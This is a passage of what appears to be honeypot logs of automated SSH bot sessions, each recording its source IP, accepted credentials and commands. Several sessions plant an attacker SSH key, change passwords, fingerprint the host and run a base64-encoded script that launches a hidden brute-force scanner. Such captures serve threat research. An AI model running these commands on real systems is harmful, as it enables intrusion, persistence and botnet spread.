total, 7785 free, 8102 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":24,"at":"2026-08-24T21:24:59.361060+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":25,"at":"2026-08-24T21:24:59.361494+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":26,"at":"2026-08-24T21:24:59.669484+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":27,"at":"2026-08-24T21:24:59.670130+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":28,"at":"2026-08-24T21:24:59.979955+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":29,"at":"2026-08-24T21:24:59.980580+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":30,"at":"2026-08-24T21:25:00.288514+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":31,"at":"2026-08-24T21:25:01.759235+00:00","kind":"output","latency_ms":1469,"data":"Model name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor"},{"seq":32,"at":"2026-08-24T21:25:02.067481+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":33,"at":"2026-08-24T21:25:02.841965+00:00","kind":"output","latency_ms":773,"data":"24G"},{"seq":34,"at":"2026-08-24T21:25:03.932677+00:00","kind":"input","latency_ms":null,"data":"echo \"root 3edcVFR$\" > /tmp/up.txt"},{"seq":35,"at":"2026-08-24T21:25:04.241439+00:00","kind":"input","latency_ms":null,"data":"rm -rf /var/tmp/dota*"},{"seq":36,"at":"2026-08-24T21:25:04.700029+00:00","kind":"output","latency_ms":458,"data":""},{"seq":37,"at":"2026-08-24T21:25:05.302874+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":38,"at":"2026-08-24T21:25:05.767936+00:00","kind":"output","latency_ms":464,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":39,"at":"2026-08-24T21:25:06.076727+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":40,"at":"2026-08-24T21:25:06.513559+00:00","kind":"output","latency_ms":436,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":41,"at":"2026-08-24T21:25:06.822961+00:00","kind":"input","latency_ms":null,"data":"echo \"1\" > /var/tmp/.systemcache436621"},{"seq":42,"at":"2026-08-24T21:25:07.129457+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":43,"at":"2026-08-24T21:25:07.936226+00:00","kind":"output","latency_ms":806,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":44,"at":"2026-08-24T21:25:08.244997+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":45,"at":"2026-08-24T21:25:08.759945+00:00","kind":"output","latency_ms":514,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":46,"at":"2026-08-24T21:25:09.072152+00:00","kind":"input","latency_ms":null,"data":"sleep 15s && cd /var/tmp; echo \"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | bash"},{"seq":47,"at":"2026-08-24T21:25:09.569952+00:00","kind":"output","latency_ms":497,"data":""},{"seq":48,"at":"2026-08-24T21:25:17.340461+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":49,"at":"2026-08-24T21:25:17.341014+00:00","kind":"output","latency_ms":null,"data":"root"}],"credentials":[{"username":"root","password":"3edcVFR$","method":"password","accepted":true,"tier":"other"}]} {"id":"3f4555b7-f2b2-4f80-be0f-522dc8d48d29","name":"daring-plush-pangolin","protocol":"ssh","channel_kind":"exec","src_ip":"150.136.214.177","src_port":31390,"username":"feria","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":63,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-24T20:05:26.773233+00:00","ended_at":"2026-08-24T20:05:26.779502+00:00","ended_reason":"exec complete","commands":27,"transcript_bytes":3343,"events":[{"seq":1,"at":"2026-08-24T20:05:08.647029+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-24T20:05:08.709082+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-24T20:05:11.442238+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-24T20:05:11.442820+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-24T20:05:11.505687+00:00","kind":"input","latency_ms":null,"data":"echo -e \"feria\\nAv8bSUr1ISyy\\nAv8bSUr1ISyy\"|passwd|bash"},{"seq":6,"at":"2026-08-24T20:05:11.570949+00:00","kind":"input","latency_ms":null,"data":"echo \"feria\\nAv8bSUr1ISyy\\nAv8bSUr1ISyy\\n\"|passwd"},{"seq":7,"at":"2026-08-24T20:05:11.631858+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-24T20:05:11.632737+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-24T20:05:11.697151+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-24T20:05:12.962481+00:00","kind":"output","latency_ms":1266,"data":" total used free shared buff/cache available\nMem: 15888 1192 12401 8 2294 14377"},{"seq":11,"at":"2026-08-24T20:05:13.025327+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-24T20:05:13.931593+00:00","kind":"output","latency_ms":905,"data":"-rwxr-xr-x 1 root root 142K Jan 8 2026 /usr/bin/ls"},{"seq":13,"at":"2026-08-24T20:05:13.996476+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-24T20:05:13.997087+00:00","kind":"output","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-24T20:05:14.059763+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-24T20:05:14.060560+00:00","kind":"output","latency_ms":null,"data":" 20:05:14 up 4 days, 16:55, 0 user, load average: 0.1, 0.11, 0.09\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-24T20:05:14.125078+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-24T20:05:14.125632+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-24T20:05:14.189090+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-24T20:05:14.189662+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-24T20:05:14.252381+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-24T20:05:14.252741+00:00","kind":"output","latency_ms":null,"data":"top - 20:05:14 up 4 days, 16:55, 0 user, load average: 0.1, 0.11, 0.09\nTasks: 109 total, 1 running, 108 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9850 free, 6037 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-24T20:05:14.314948+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-24T20:05:14.315632+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-24T20:05:14.378551+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-24T20:05:14.385871+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-24T20:05:14.442634+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-24T20:05:14.443151+00:00","kind":"output","latency_ms":null,"data":"feria"},{"seq":29,"at":"2026-08-24T20:05:14.507021+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-24T20:05:15.004731+00:00","kind":"output","latency_ms":490,"data":"Model name: AMD EPYC 7713 64-Core Processor"},{"seq":31,"at":"2026-08-24T20:05:15.062282+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-24T20:05:15.627668+00:00","kind":"output","latency_ms":566,"data":"24G"},{"seq":33,"at":"2026-08-24T20:05:15.964528+00:00","kind":"input","latency_ms":null,"data":"echo \"feria feria\" > /tmp/up.txt"},{"seq":34,"at":"2026-08-24T20:05:16.026638+00:00","kind":"input","latency_ms":null,"data":"rm -rf /var/tmp/dota*"},{"seq":35,"at":"2026-08-24T20:05:16.189241+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":36,"at":"2026-08-24T20:05:16.469468+00:00","kind":"output","latency_ms":441,"data":""},{"seq":37,"at":"2026-08-24T20:05:16.657960+00:00","kind":"output","latency_ms":468,"data":"feria feria"},{"seq":38,"at":"2026-08-24T20:05:16.722128+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":39,"at":"2026-08-24T20:05:17.292248+00:00","kind":"output","latency_ms":569,"data":""},{"seq":40,"at":"2026-08-24T20:05:17.357076+00:00","kind":"input","latency_ms":null,"data":"echo \"1\" > /var/tmp/.systemcache436621"},{"seq":41,"at":"2026-08-24T20:05:17.418156+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":42,"at":"2026-08-24T20:05:17.961169+00:00","kind":"output","latency_ms":541,"data":"1"},{"seq":43,"at":"2026-08-24T20:05:18.023744+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":44,"at":"2026-08-24T20:05:18.489187+00:00","kind":"output","latency_ms":463,"data":"1"},{"seq":45,"at":"2026-08-24T20:05:18.550628+00:00","kind":"input","latency_ms":null,"data":"sleep 15s && cd /var/tmp; echo \"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | bash"},{"seq":46,"at":"2026-08-24T20:05:19.186431+00:00","kind":"output","latency_ms":636,"data":""},{"seq":47,"at":"2026-08-24T20:05:26.774124+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":48,"at":"2026-08-24T20:05:26.774433+00:00","kind":"output","latency_ms":null,"data":"feria"}],"credentials":[{"username":"feria","password":"feria","method":"password","accepted":true,"tier":"other"}]} {"id":"46ec8e9e-9279-4a6b-b5ea-d2df6efaa50b","name":"windswept-downy-tanager","protocol":"ssh","channel_kind":"exec","src_ip":"121.184.144.232","src_port":55395,"username":"user","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":613,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-24T19:36:55.316711+00:00","ended_at":"2026-08-24T19:36:55.506740+00:00","ended_reason":"exec complete","commands":27,"transcript_bytes":3955,"events":[{"seq":1,"at":"2026-08-24T19:36:17.081598+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-24T19:36:17.692926+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-24T19:36:23.610750+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-24T19:36:23.611119+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-24T19:36:24.223605+00:00","kind":"input","latency_ms":null,"data":"echo -e \"123!@#\\nMG3xNG7fb8Fc\\nMG3xNG7fb8Fc\"|passwd|bash"},{"seq":6,"at":"2026-08-24T19:36:24.833167+00:00","kind":"input","latency_ms":null,"data":"echo \"123!@#\\nMG3xNG7fb8Fc\\nMG3xNG7fb8Fc\\n\"|passwd"},{"seq":7,"at":"2026-08-24T19:36:25.446375+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-24T19:36:25.446930+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-24T19:36:26.067541+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-24T19:36:26.652839+00:00","kind":"output","latency_ms":583,"data":" 15888 2431 11325 1832 0 0"},{"seq":11,"at":"2026-08-24T19:36:27.269916+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-24T19:36:28.061081+00:00","kind":"output","latency_ms":791,"data":"-rwxr-xr-x 1 root root 142K Mar 11 2026 /usr/bin/ls"},{"seq":13,"at":"2026-08-24T19:36:28.674660+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-24T19:36:28.675619+00:00","kind":"output","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-24T19:36:29.289765+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-24T19:36:29.290245+00:00","kind":"output","latency_ms":null,"data":" 19:36:29 up 4 days, 16:26, 0 user, load average: 0.25, 0.28, 0.18\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-24T19:36:29.903234+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-24T19:36:29.904031+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-24T19:36:30.515722+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-24T19:36:30.516200+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-24T19:36:31.130368+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-24T19:36:31.130853+00:00","kind":"output","latency_ms":null,"data":"top - 19:36:31 up 4 days, 16:26, 0 user, load average: 0.25, 0.28, 0.18\nTasks: 110 total, 1 running, 109 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8897 free, 6990 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-24T19:36:31.741115+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-24T19:36:31.741747+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-24T19:36:32.352917+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-24T19:36:32.353607+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-24T19:36:32.967648+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-24T19:36:32.968020+00:00","kind":"output","latency_ms":null,"data":"user"},{"seq":29,"at":"2026-08-24T19:36:33.579788+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-24T19:36:34.745946+00:00","kind":"output","latency_ms":1164,"data":"Model name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor"},{"seq":31,"at":"2026-08-24T19:36:35.358242+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-24T19:36:35.814644+00:00","kind":"output","latency_ms":457,"data":"24G"},{"seq":33,"at":"2026-08-24T19:36:37.770132+00:00","kind":"input","latency_ms":null,"data":"echo \"user 123!@#\" > /tmp/up.txt"},{"seq":34,"at":"2026-08-24T19:36:38.382748+00:00","kind":"input","latency_ms":null,"data":"rm -rf /var/tmp/dota*"},{"seq":35,"at":"2026-08-24T19:36:38.870563+00:00","kind":"output","latency_ms":488,"data":""},{"seq":36,"at":"2026-08-24T19:36:40.560754+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":37,"at":"2026-08-24T19:36:41.055299+00:00","kind":"output","latency_ms":496,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":38,"at":"2026-08-24T19:36:41.669858+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":39,"at":"2026-08-24T19:36:42.325284+00:00","kind":"output","latency_ms":655,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":40,"at":"2026-08-24T19:36:42.937115+00:00","kind":"input","latency_ms":null,"data":"echo \"1\" > /var/tmp/.systemcache436621"},{"seq":41,"at":"2026-08-24T19:36:43.548814+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":42,"at":"2026-08-24T19:36:44.640074+00:00","kind":"output","latency_ms":1090,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":43,"at":"2026-08-24T19:36:45.251938+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":44,"at":"2026-08-24T19:36:45.769631+00:00","kind":"output","latency_ms":516,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":45,"at":"2026-08-24T19:36:46.382159+00:00","kind":"input","latency_ms":null,"data":"sleep 15s && cd /var/tmp; echo \"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | bash"},{"seq":46,"at":"2026-08-24T19:36:47.158555+00:00","kind":"output","latency_ms":775,"data":""},{"seq":47,"at":"2026-08-24T19:36:55.317653+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":48,"at":"2026-08-24T19:36:55.318429+00:00","kind":"output","latency_ms":null,"data":"user"}],"credentials":[{"username":"user","password":"123!@#","method":"password","accepted":true,"tier":"other"}]} {"id":"888b5309-3f8d-4125-8ea4-144dfaf1130b","name":"lunar-gritty-narwhal","protocol":"ssh","channel_kind":"exec","src_ip":"187.35.110.147","src_port":34518,"username":"accounting","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":417,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-24T19:09:01.642120+00:00","ended_at":"2026-08-24T19:09:01.768877+00:00","ended_reason":"exec complete","commands":27,"transcript_bytes":4304,"events":[{"seq":1,"at":"2026-08-24T19:08:30.398950+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-24T19:08:30.812149+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-24T19:08:35.424956+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-24T19:08:35.425680+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-24T19:08:35.848849+00:00","kind":"input","latency_ms":null,"data":"echo -e \"accounting\\nqVUmF3WgETVq\\nqVUmF3WgETVq\"|passwd|bash"},{"seq":6,"at":"2026-08-24T19:08:36.254133+00:00","kind":"input","latency_ms":null,"data":"echo \"accounting\\nqVUmF3WgETVq\\nqVUmF3WgETVq\\n\"|passwd"},{"seq":7,"at":"2026-08-24T19:08:36.668395+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-24T19:08:36.668827+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-24T19:08:37.088052+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-24T19:08:37.761570+00:00","kind":"output","latency_ms":672,"data":" 15888 4102 8791 517 2996 4415"},{"seq":11,"at":"2026-08-24T19:08:38.179547+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-24T19:08:38.789556+00:00","kind":"output","latency_ms":609,"data":"lrwxrwxrwx 1 root root 7 Apr 18 2026 /usr/bin/ls -> 